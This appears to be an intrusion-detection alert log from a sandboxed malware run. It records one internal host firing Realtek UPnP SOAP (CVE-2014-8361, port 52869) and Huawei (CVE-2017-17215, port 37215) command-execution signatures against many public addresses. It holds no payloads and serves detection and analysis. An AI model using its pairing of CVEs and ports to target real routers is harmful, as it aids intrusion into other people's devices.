Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.74.79.160

Timestamp:	07/20/24-23:01:24.126316
SID:	2025132
Source Port:	38786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.141.159.182

Timestamp:	07/20/24-23:01:44.914703
SID:	2831300
Source Port:	42698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.217.152.189

Timestamp:	07/20/24-23:01:58.093784
SID:	2027339
Source Port:	40746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.32.150.55

Timestamp:	07/20/24-23:01:01.437626
SID:	2025132
Source Port:	60144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.143.86.166

Timestamp:	07/20/24-23:01:52.940746
SID:	2025132
Source Port:	36876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.100.140.133

Timestamp:	07/20/24-23:01:51.833558
SID:	2027339
Source Port:	35974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.88.70.103

Timestamp:	07/20/24-23:01:50.223705
SID:	2027339
Source Port:	50334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.53.250.191

Timestamp:	07/20/24-23:01:42.634606
SID:	2831300
Source Port:	60262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.54.72.251

Timestamp:	07/20/24-23:01:08.609855
SID:	2831300
Source Port:	45964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.16.142.227

Timestamp:	07/20/24-23:01:47.709674
SID:	2027339
Source Port:	47420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 194.155.182.26

Timestamp:	07/20/24-23:01:51.944007
SID:	2831300
Source Port:	60766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.15.228

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	37208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.83.62.168

Timestamp:	07/20/24-23:01:41.270795
SID:	2025132
Source Port:	58370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.33.11.159

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	43684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 102.51.73.237

Timestamp:	07/20/24-23:01:47.995202
SID:	2831300
Source Port:	57242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.40.152.48

Timestamp:	07/20/24-23:01:48.596773
SID:	2027339
Source Port:	37872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.249.40.161

Timestamp:	07/20/24-23:02:03.987678
SID:	2027339
Source Port:	40410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.16.187.60

Timestamp:	07/20/24-23:01:01.505774
SID:	2025132
Source Port:	35458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.116.25.221

Timestamp:	07/20/24-23:01:08.588009
SID:	2831300
Source Port:	48686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.25.105.249

Timestamp:	07/20/24-23:01:54.345401
SID:	2025132
Source Port:	44704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.85.182.81

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	60950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.130.13.191

Timestamp:	07/20/24-23:01:41.449345
SID:	2025132
Source Port:	42106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.243.122.81

Timestamp:	07/20/24-23:01:34.043766
SID:	2835222
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.186.207.187

Timestamp:	07/20/24-23:01:48.356835
SID:	2831300
Source Port:	34734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.165.214.181

Timestamp:	07/20/24-23:01:47.474975
SID:	2027339
Source Port:	36434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.222.130

Timestamp:	07/20/24-23:01:02.076414
SID:	2835222
Source Port:	35032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.147.177.5

Timestamp:	07/20/24-23:00:59.201622
SID:	2835222
Source Port:	36396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.194.116.48

Timestamp:	07/20/24-23:01:02.444710
SID:	2027339
Source Port:	50442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.102.241.51

Timestamp:	07/20/24-23:01:44.663524
SID:	2831300
Source Port:	47332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.243.31.167

Timestamp:	07/20/24-23:01:46.340763
SID:	2027339
Source Port:	40722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.207.228.137

Timestamp:	07/20/24-23:01:04.987638
SID:	2027339
Source Port:	44574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.247.196.153

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	59710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.247.75.173

Timestamp:	07/20/24-23:01:11.820149
SID:	2835222
Source Port:	57558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.139.110.226

Timestamp:	07/20/24-23:01:52.684130
SID:	2027339
Source Port:	36606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.180.115

Timestamp:	07/20/24-23:01:27.658221
SID:	2829579
Source Port:	39066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.173.158.60

Timestamp:	07/20/24-23:01:46.810790
SID:	2027339
Source Port:	43706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.252.176.80

Timestamp:	07/20/24-23:01:42.244235
SID:	2025132
Source Port:	36306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.6.78.78

Timestamp:	07/20/24-23:01:56.845732
SID:	2027339
Source Port:	46188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.127.88.100

Timestamp:	07/20/24-23:01:31.312186
SID:	2831300
Source Port:	38986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.93.68.27

Timestamp:	07/20/24-23:01:11.822392
SID:	2829579
Source Port:	42414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.198.212

Timestamp:	07/20/24-23:01:40.321300
SID:	2829579
Source Port:	60802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.131.141.174

Timestamp:	07/20/24-23:01:31.313163
SID:	2831300
Source Port:	53996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.190.228.200

Timestamp:	07/20/24-23:01:34.062277
SID:	2835222
Source Port:	35574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.72.179.4

Timestamp:	07/20/24-23:01:27.766239
SID:	2835222
Source Port:	38616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.249.3.178

Timestamp:	07/20/24-23:01:53.372532
SID:	2025132
Source Port:	52392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.30.181.131

Timestamp:	07/20/24-23:01:42.285526
SID:	2831300
Source Port:	55702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.28.111.138

Timestamp:	07/20/24-23:01:44.868029
SID:	2027339
Source Port:	39320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.61.91.2

Timestamp:	07/20/24-23:01:42.189694
SID:	2025132
Source Port:	58170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.7.41.237

Timestamp:	07/20/24-23:01:43.324295
SID:	2027339
Source Port:	53764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.252.195.82

Timestamp:	07/20/24-23:01:59.745622
SID:	2025132
Source Port:	41978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.142.205.252

Timestamp:	07/20/24-23:01:24.575344
SID:	2027339
Source Port:	48332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.64.65

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	44694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.20.218.143

Timestamp:	07/20/24-23:01:46.983381
SID:	2027339
Source Port:	41326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.189.251.198

Timestamp:	07/20/24-23:01:41.987411
SID:	2025132
Source Port:	43042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.194.11

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	57642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.23.23.187

Timestamp:	07/20/24-23:01:42.233741
SID:	2831300
Source Port:	48552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.252.225.26

Timestamp:	07/20/24-23:01:43.091220
SID:	2025132
Source Port:	56428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.152.253.87

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	56422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.241.155.67

Timestamp:	07/20/24-23:01:02.123155
SID:	2027339
Source Port:	46746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.138.89.148

Timestamp:	07/20/24-23:01:53.041672
SID:	2027339
Source Port:	41128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.7.17.21

Timestamp:	07/20/24-23:02:07.493932
SID:	2025132
Source Port:	48246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.105.221.242

Timestamp:	07/20/24-23:01:42.406731
SID:	2025132
Source Port:	46448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.47.11.186

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	46656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.206.255.142

Timestamp:	07/20/24-23:01:27.649912
SID:	2829579
Source Port:	50062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.167.45.35

Timestamp:	07/20/24-23:01:41.349768
SID:	2025132
Source Port:	56034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.54.139.100

Timestamp:	07/20/24-23:01:45.010540
SID:	2831300
Source Port:	53462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.81.198.30

Timestamp:	07/20/24-23:00:57.222279
SID:	2829579
Source Port:	34110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.14.209.187

Timestamp:	07/20/24-23:01:27.651332
SID:	2835222
Source Port:	42056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.151.222.142

Timestamp:	07/20/24-23:01:00.638418
SID:	2829579
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.199.217.59

Timestamp:	07/20/24-23:01:08.903232
SID:	2027339
Source Port:	51704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.168.237.206

Timestamp:	07/20/24-23:01:41.750477
SID:	2027339
Source Port:	47958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.84.102

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	33378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.27.90.68

Timestamp:	07/20/24-23:01:42.145997
SID:	2025132
Source Port:	58762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.42.93.65

Timestamp:	07/20/24-23:01:42.696197
SID:	2025132
Source Port:	44628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.25.11.108

Timestamp:	07/20/24-23:01:51.405782
SID:	2025132
Source Port:	54972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.99.82.194

Timestamp:	07/20/24-23:01:08.560530
SID:	2027339
Source Port:	43976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.40.109.207

Timestamp:	07/20/24-23:01:51.360754
SID:	2025132
Source Port:	54610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.138.116

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	34334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.114.222.105

Timestamp:	07/20/24-23:01:04.118165
SID:	2835222
Source Port:	35478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.68.197.111

Timestamp:	07/20/24-23:01:41.919931
SID:	2831300
Source Port:	32798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.154.142.187

Timestamp:	07/20/24-23:01:53.234960
SID:	2027339
Source Port:	36880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.21.238.229

Timestamp:	07/20/24-23:01:42.611005
SID:	2027339
Source Port:	56342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.176.241.96

Timestamp:	07/20/24-23:01:42.499887
SID:	2027339
Source Port:	35622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.9.90.86

Timestamp:	07/20/24-23:01:51.086033
SID:	2027339
Source Port:	59968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.39.181.117

Timestamp:	07/20/24-23:01:03.159715
SID:	2027339
Source Port:	49550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.141.27.208

Timestamp:	07/20/24-23:01:55.546480
SID:	2831300
Source Port:	56624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.183.176.41

Timestamp:	07/20/24-23:01:31.312411
SID:	2027339
Source Port:	43376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.230.79

Timestamp:	07/20/24-23:01:00.634089
SID:	2829579
Source Port:	35110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.116.8.136

Timestamp:	07/20/24-23:01:34.044293
SID:	2829579
Source Port:	40776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.217.40.139

Timestamp:	07/20/24-23:01:50.255748
SID:	2027339
Source Port:	60794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.205.247.218

Timestamp:	07/20/24-23:01:55.741840
SID:	2027339
Source Port:	50022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.108.180.162

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	37752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.127.30.131

Timestamp:	07/20/24-23:01:56.828807
SID:	2027339
Source Port:	46608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.241.170.132

Timestamp:	07/20/24-23:01:43.044692
SID:	2025132
Source Port:	33658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.174.110.166

Timestamp:	07/20/24-23:01:31.978142
SID:	2835222
Source Port:	51306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.221.6.21

Timestamp:	07/20/24-23:01:46.298100
SID:	2027339
Source Port:	57352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.20.12.87

Timestamp:	07/20/24-23:01:02.280127
SID:	2027339
Source Port:	36392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.151.81.4

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	41766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.102.32.106

Timestamp:	07/20/24-23:01:43.906354
SID:	2027339
Source Port:	40552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

